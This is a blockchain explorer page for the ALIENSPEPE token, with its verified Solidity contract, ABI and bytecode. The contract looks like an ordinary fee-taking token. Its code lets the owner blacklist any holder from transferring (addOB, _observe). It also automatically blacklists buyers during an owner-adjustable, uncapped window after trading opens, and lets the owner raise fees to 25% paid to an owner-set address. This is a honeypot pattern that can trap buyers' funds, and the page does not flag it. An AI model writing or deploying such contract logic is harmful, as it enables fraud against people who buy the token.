ETH Price: $2,528.90 (+0.23%)

Token

ALIENSPEPE (ALIENSPEPE)
 

Overview

Max Total Supply

420,690,000,000,000 ALIENSPEPE

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
386,033,650,045.906859679 ALIENSPEPE

Value
$0.00
0x0e4a1f130813445f3c6cad1359d2123033fd94c1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-04
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract TOKEN is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 3;
    uint256 public _sellFundFee = 3;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "ALIENSPEPE";
        _symbol = "ALIENSPEPE";
        _decimals = 9;
        uint256 Supply = 420690000000000;

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _totalSupply = Supply * 10 ** _decimals;

        address receiveAddr = msg.sender;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        fundAddress = receiveAddr;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[address(swapRouter)] = true;
        // _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[fundAddress] = true;
    }

    function setFundAddr(address newAddr) public onlyOwner{
        fundAddress = newAddr;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function DesignBuy(uint256 newFundFee) public onlyOwner{
        _buyFundFee = newFundFee;
        require(_buyFundFee <= 25,"too high");
    }

    function DesignSell(uint256 newFundFee) public onlyOwner{
        _sellFundFee = newFundFee;
        require(_sellFundFee <= 25,"too high");
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    mapping(address => bool) public _observe;
    function addOB(address account) public onlyOwner{
        _observe[account] = true;
    }

    function delOB(address account) public onlyOwner{
        _observe[account] = false;
    }

    bool public trading;
    uint256 public lb;
    uint256 public cb=3;

    function setcb(uint256 newvalue) public onlyOwner{
        cb = newvalue;
    }

    function enabeTrading() public onlyOwner{
        trading = !trading;
        if (trading){
            lb = block.number;
        }
    }

    bool public ASDENABLE = true;
    function setASDENABLE(bool newvalue) public onlyOwner{
        ASDENABLE = newvalue;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (ASDENABLE){
            if (lb + cb < block.number){
                require(!_observe[from]);
            }
        }else{
            require(!_observe[from]);
        }

        bool takeFee;
        bool sellFlag;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 numTokensSellToFund = amount;
                numTokensSellToFund = numTokensSellToFund > contractTokenBalance ? 
                                                            contractTokenBalance:numTokensSellToFund;
                swapTokenForETH(numTokensSellToFund);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(trading,"!trading");
            if (isMarketPair[from] && block.number < lb + cb){
                _observe[to] = true;
            }
            takeFee = true;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            
            uint256 taxFee;

            if (sellFlag) {
                taxFee = _sellFundFee;
            } else {
                taxFee = _buyFundFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    event catchEvent(uint8);

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(fundAddress),
            block.timestamp
        ) {} catch { emit catchEvent(0); }

    }

    function setIsExcludeFromFees(address account, bool value) public onlyOwner{
        _isExcludeFromFee[account] = value;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"","type":"uint8"}],"name":"catchEvent","type":"event"},{"inputs":[],"name":"ASDENABLE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newFundFee","type":"uint256"}],"name":"DesignBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newFundFee","type":"uint256"}],"name":"DesignSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_observe","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addOB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"delOB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enabeTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newvalue","type":"bool"}],"name":"setASDENABLE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddr","type":"address"}],"name":"setFundAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setIsExcludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newvalue","type":"uint256"}],"name":"setcb","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003600c819055600d8190556012556013805460ff191660011790553480156200002d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600a80825269414c49454e535045504560b01b6020909201918252620000a291600491620003d2565b5060408051808201909152600a80825269414c49454e535045504560b01b6020909201918252620000d691600591620003d2565b506006805460ff1916600990811790915580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b8152905166017e9d8602b400949392849263c45a01559260048083019392829003018186803b1580156200016a57600080fd5b505afa1580156200017f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001a5919062000478565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001f357600080fd5b505afa15801562000208573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022e919062000478565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200027757600080fd5b505af11580156200028c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b2919062000478565b600e80546001600160a01b0319166001600160a01b0383169081179091556000908152600a60208190526040909120805460ff19166001179055600654919250620003019160ff1690620004f3565b6200030d9085620005b4565b600881905533600081815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b0319166001600160a01b03928316908117825530600090815260076020526040808220805460ff199081166001908117909255988616835281832080548a168217905592825280822080548916841790559254909316835291208054909416179092555062000629915050565b828054620003e090620005d6565b90600052602060002090601f0160209004810192826200040457600085556200044f565b82601f106200041f57805160ff19168380011785556200044f565b828001600101855582156200044f579182015b828111156200044f57825182559160200191906001019062000432565b506200045d92915062000461565b5090565b5b808211156200045d576000815560010162000462565b6000602082840312156200048b57600080fd5b81516001600160a01b0381168114620004a357600080fd5b9392505050565b600181815b80851115620004eb578160001904821115620004cf57620004cf62000613565b80851615620004dd57918102915b93841c9390800290620004af565b509250929050565b6000620004a360ff8416836000826200050f57506001620005ae565b816200051e57506000620005ae565b8160018114620005375760028114620005425762000562565b6001915050620005ae565b60ff84111562000556576200055662000613565b50506001821b620005ae565b5060208310610133831016604e8410600b841016171562000587575081810a620005ae565b620005938383620004aa565b8060001904821115620005aa57620005aa62000613565b0290505b92915050565b6000816000190483118215151615620005d157620005d162000613565b500290565b600181811c90821680620005eb57607f821691505b602082108114156200060d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b61158c80620006396000396000f3fe6080604052600436106101f25760003560e01c806365b61b771161010d57806395d89b41116100a0578063ce0192f91161006f578063ce0192f9146105b3578063dd62ed3e146105c9578063e82bef291461060f578063ec44acf21461062f578063f2fde38b1461064957600080fd5b806395d89b4114610548578063a9059cbb1461055d578063c8cbdedc1461057d578063ccc45faa1461059357600080fd5b8063715018a6116100dc578063715018a6146104d5578063863587cd146104ea5780638b00efae1461050a5780638da5cb5b1461052a57600080fd5b806365b61b771461044a5780636b7d69c91461046a5780636f39cfcd1461047f57806370a082311461049f57600080fd5b806336b2e0271161018557806349a7fe2b1161015457806349a7fe2b146103a85780634a733a16146103c85780634b1abf6f146103e25780634bf28fd01461041257600080fd5b806336b2e027146103125780633bfe62ca146103425780633d7d0e10146103585780633ecad2711461037857600080fd5b80631c6ebf86116101c15780631c6ebf861461029a5780631d82148b146102b057806323b872dd146102d0578063313ce567146102f057600080fd5b806306fdde03146101fe578063095ea7b3146102295780630f48f2c91461025957806318160ddd1461027b57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610213610669565b6040516102209190611379565b60405180910390f35b34801561023557600080fd5b50610249610244366004611319565b6106fb565b6040519015158152602001610220565b34801561026557600080fd5b50610279610274366004611360565b610711565b005b34801561028757600080fd5b506008545b604051908152602001610220565b3480156102a657600080fd5b5061028c60125481565b3480156102bc57600080fd5b506102796102cb366004611360565b610788565b3480156102dc57600080fd5b506102496102eb3660046112a3565b6107b7565b3480156102fc57600080fd5b5060065460405160ff9091168152602001610220565b34801561031e57600080fd5b5061024961032d366004611229565b60076020526000908152604090205460ff1681565b34801561034e57600080fd5b5061028c600d5481565b34801561036457600080fd5b50610279610373366004611345565b61084e565b34801561038457600080fd5b50610249610393366004611229565b600a6020526000908152604090205460ff1681565b3480156103b457600080fd5b506102796103c3366004611229565b61088b565b3480156103d457600080fd5b506013546102499060ff1681565b3480156103ee57600080fd5b506102496103fd366004611229565b600f6020526000908152604090205460ff1681565b34801561041e57600080fd5b50600e54610432906001600160a01b031681565b6040516001600160a01b039091168152602001610220565b34801561045657600080fd5b50600954610432906001600160a01b031681565b34801561047657600080fd5b506102796108d9565b34801561048b57600080fd5b5061027961049a366004611229565b610925565b3480156104ab57600080fd5b5061028c6104ba366004611229565b6001600160a01b031660009081526001602052604090205490565b3480156104e157600080fd5b50610279610971565b3480156104f657600080fd5b506102796105053660046112e4565b6109e5565b34801561051657600080fd5b50610279610525366004611360565b610a3a565b34801561053657600080fd5b506000546001600160a01b0316610432565b34801561055457600080fd5b50610213610aa5565b34801561056957600080fd5b50610249610578366004611319565b610ab4565b34801561058957600080fd5b5061028c60115481565b34801561059f57600080fd5b506102796105ae366004611229565b610ac1565b3480156105bf57600080fd5b5061028c600c5481565b3480156105d557600080fd5b5061028c6105e436600461126a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561061b57600080fd5b50600354610432906001600160a01b031681565b34801561063b57600080fd5b506010546102499060ff1681565b34801561065557600080fd5b50610279610664366004611229565b610b0c565b606060048054610678906114da565b80601f01602080910402602001604051908101604052809291908181526020018280546106a4906114da565b80156106f15780601f106106c6576101008083540402835291602001916106f1565b820191906000526020600020905b8154815290600101906020018083116106d457829003601f168201915b5050505050905090565b6000610708338484610bd2565b50600192915050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161073b906113ce565b60405180910390fd5b600c81905560198111156107855760405162461bcd60e51b81526020600482015260086024820152670e8dede40d0d2ced60c31b604482015260640161073b565b50565b6000546001600160a01b031633146107b25760405162461bcd60e51b815260040161073b906113ce565b601255565b60006107c4848484610c33565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610844576001600160a01b038416600090815260026020908152604080832033845290915290205461081f9083906114c3565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146108785760405162461bcd60e51b815260040161073b906113ce565b6013805460ff1916911515919091179055565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260040161073b906113ce565b6001600160a01b03166000908152600f60205260409020805460ff19166001179055565b6000546001600160a01b031633146109035760405162461bcd60e51b815260040161073b906113ce565b6010805460ff19811660ff91821615908117909255161561092357436011555b565b6000546001600160a01b0316331461094f5760405162461bcd60e51b815260040161073b906113ce565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461099b5760405162461bcd60e51b815260040161073b906113ce565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a0f5760405162461bcd60e51b815260040161073b906113ce565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610a645760405162461bcd60e51b815260040161073b906113ce565b600d81905560198111156107855760405162461bcd60e51b81526020600482015260086024820152670e8dede40d0d2ced60c31b604482015260640161073b565b606060058054610678906114da565b6000610708338484610c33565b6000546001600160a01b03163314610aeb5760405162461bcd60e51b815260040161073b906113ce565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6000546001600160a01b03163314610b365760405162461bcd60e51b815260040161073b906113ce565b6001600160a01b038116610b775760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161073b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610c8f5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b604482015260640161073b565b60135460ff1615610cdc5743601254601154610cab919061146a565b1015610cd7576001600160a01b0384166000908152600f602052604090205460ff1615610cd757600080fd5b610d02565b6001600160a01b0384166000908152600f602052604090205460ff1615610d0257600080fd5b6001600160a01b0383166000908152600a6020526040812054819060ff168015610d2f5750600b5460ff16155b8015610d5457506001600160a01b03861660009081526007602052604090205460ff16155b8015610d7957506001600160a01b03851660009081526007602052604090205460ff16155b15610db357306000908152600160205260409020548015610db15784818111610da25780610da4565b815b9050610daf81610ee4565b505b505b6001600160a01b03861660009081526007602052604090205460ff16158015610df557506001600160a01b03851660009081526007602052604090205460ff16155b8015610e045750600b5460ff16155b15610eaa5760105460ff16610e465760405162461bcd60e51b81526020600482015260086024820152672174726164696e6760c01b604482015260640161073b565b6001600160a01b0386166000908152600a602052604090205460ff168015610e7c5750601254601154610e79919061146a565b43105b15610ea5576001600160a01b0385166000908152600f60205260409020805460ff191660011790555b600191505b6001600160a01b0385166000908152600a602052604090205460ff1615610ecf575060015b610edc8686868585611083565b505050505050565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f2657610f2661152b565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f7a57600080fd5b505afa158015610f8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb2919061124d565b81600181518110610fc557610fc561152b565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac9479261101192879260009288929091169042906004016113f9565b600060405180830381600087803b15801561102b57600080fd5b505af192505050801561103c575060015b61107557604051600081527fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f169060200160405180910390a15b5050600b805460ff19169055565b6001600160a01b0385166000908152600160205260409020546110a79084906114c3565b6001600160a01b038616600090815260016020526040812091909155821561118457600082156110da5750600d546110df565b50600c545b600060646110ed83886114a4565b6110f79190611482565b9050801561118157611109818461146a565b3060009081526001602052604090205490935061112790829061146a565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111789085815260200190565b60405180910390a35b50505b61118e81856114c3565b6001600160a01b0386166000908152600160205260409020546111b1919061146a565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111fb84886114c3565b60405190815260200160405180910390a3505050505050565b8035801515811461122457600080fd5b919050565b60006020828403121561123b57600080fd5b813561124681611541565b9392505050565b60006020828403121561125f57600080fd5b815161124681611541565b6000806040838503121561127d57600080fd5b823561128881611541565b9150602083013561129881611541565b809150509250929050565b6000806000606084860312156112b857600080fd5b83356112c381611541565b925060208401356112d381611541565b929592945050506040919091013590565b600080604083850312156112f757600080fd5b823561130281611541565b915061131060208401611214565b90509250929050565b6000806040838503121561132c57600080fd5b823561133781611541565b946020939093013593505050565b60006020828403121561135757600080fd5b61124682611214565b60006020828403121561137257600080fd5b5035919050565b600060208083528351808285015260005b818110156113a65785810183015185820160400152820161138a565b818111156113b8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114495784516001600160a01b031683529383019391830191600101611424565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561147d5761147d611515565b500190565b60008261149f57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156114be576114be611515565b500290565b6000828210156114d5576114d5611515565b500390565b600181811c908216806114ee57607f821691505b6020821081141561150f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461078557600080fdfea264697066735822122077d9928334dd5f0a09d94ac4190e407df82529dc30780259b112cb3c1eeb7e9264736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101f25760003560e01c806365b61b771161010d57806395d89b41116100a0578063ce0192f91161006f578063ce0192f9146105b3578063dd62ed3e146105c9578063e82bef291461060f578063ec44acf21461062f578063f2fde38b1461064957600080fd5b806395d89b4114610548578063a9059cbb1461055d578063c8cbdedc1461057d578063ccc45faa1461059357600080fd5b8063715018a6116100dc578063715018a6146104d5578063863587cd146104ea5780638b00efae1461050a5780638da5cb5b1461052a57600080fd5b806365b61b771461044a5780636b7d69c91461046a5780636f39cfcd1461047f57806370a082311461049f57600080fd5b806336b2e0271161018557806349a7fe2b1161015457806349a7fe2b146103a85780634a733a16146103c85780634b1abf6f146103e25780634bf28fd01461041257600080fd5b806336b2e027146103125780633bfe62ca146103425780633d7d0e10146103585780633ecad2711461037857600080fd5b80631c6ebf86116101c15780631c6ebf861461029a5780631d82148b146102b057806323b872dd146102d0578063313ce567146102f057600080fd5b806306fdde03146101fe578063095ea7b3146102295780630f48f2c91461025957806318160ddd1461027b57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610213610669565b6040516102209190611379565b60405180910390f35b34801561023557600080fd5b50610249610244366004611319565b6106fb565b6040519015158152602001610220565b34801561026557600080fd5b50610279610274366004611360565b610711565b005b34801561028757600080fd5b506008545b604051908152602001610220565b3480156102a657600080fd5b5061028c60125481565b3480156102bc57600080fd5b506102796102cb366004611360565b610788565b3480156102dc57600080fd5b506102496102eb3660046112a3565b6107b7565b3480156102fc57600080fd5b5060065460405160ff9091168152602001610220565b34801561031e57600080fd5b5061024961032d366004611229565b60076020526000908152604090205460ff1681565b34801561034e57600080fd5b5061028c600d5481565b34801561036457600080fd5b50610279610373366004611345565b61084e565b34801561038457600080fd5b50610249610393366004611229565b600a6020526000908152604090205460ff1681565b3480156103b457600080fd5b506102796103c3366004611229565b61088b565b3480156103d457600080fd5b506013546102499060ff1681565b3480156103ee57600080fd5b506102496103fd366004611229565b600f6020526000908152604090205460ff1681565b34801561041e57600080fd5b50600e54610432906001600160a01b031681565b6040516001600160a01b039091168152602001610220565b34801561045657600080fd5b50600954610432906001600160a01b031681565b34801561047657600080fd5b506102796108d9565b34801561048b57600080fd5b5061027961049a366004611229565b610925565b3480156104ab57600080fd5b5061028c6104ba366004611229565b6001600160a01b031660009081526001602052604090205490565b3480156104e157600080fd5b50610279610971565b3480156104f657600080fd5b506102796105053660046112e4565b6109e5565b34801561051657600080fd5b50610279610525366004611360565b610a3a565b34801561053657600080fd5b506000546001600160a01b0316610432565b34801561055457600080fd5b50610213610aa5565b34801561056957600080fd5b50610249610578366004611319565b610ab4565b34801561058957600080fd5b5061028c60115481565b34801561059f57600080fd5b506102796105ae366004611229565b610ac1565b3480156105bf57600080fd5b5061028c600c5481565b3480156105d557600080fd5b5061028c6105e436600461126a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561061b57600080fd5b50600354610432906001600160a01b031681565b34801561063b57600080fd5b506010546102499060ff1681565b34801561065557600080fd5b50610279610664366004611229565b610b0c565b606060048054610678906114da565b80601f01602080910402602001604051908101604052809291908181526020018280546106a4906114da565b80156106f15780601f106106c6576101008083540402835291602001916106f1565b820191906000526020600020905b8154815290600101906020018083116106d457829003601f168201915b5050505050905090565b6000610708338484610bd2565b50600192915050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161073b906113ce565b60405180910390fd5b600c81905560198111156107855760405162461bcd60e51b81526020600482015260086024820152670e8dede40d0d2ced60c31b604482015260640161073b565b50565b6000546001600160a01b031633146107b25760405162461bcd60e51b815260040161073b906113ce565b601255565b60006107c4848484610c33565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610844576001600160a01b038416600090815260026020908152604080832033845290915290205461081f9083906114c3565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146108785760405162461bcd60e51b815260040161073b906113ce565b6013805460ff1916911515919091179055565b60005460016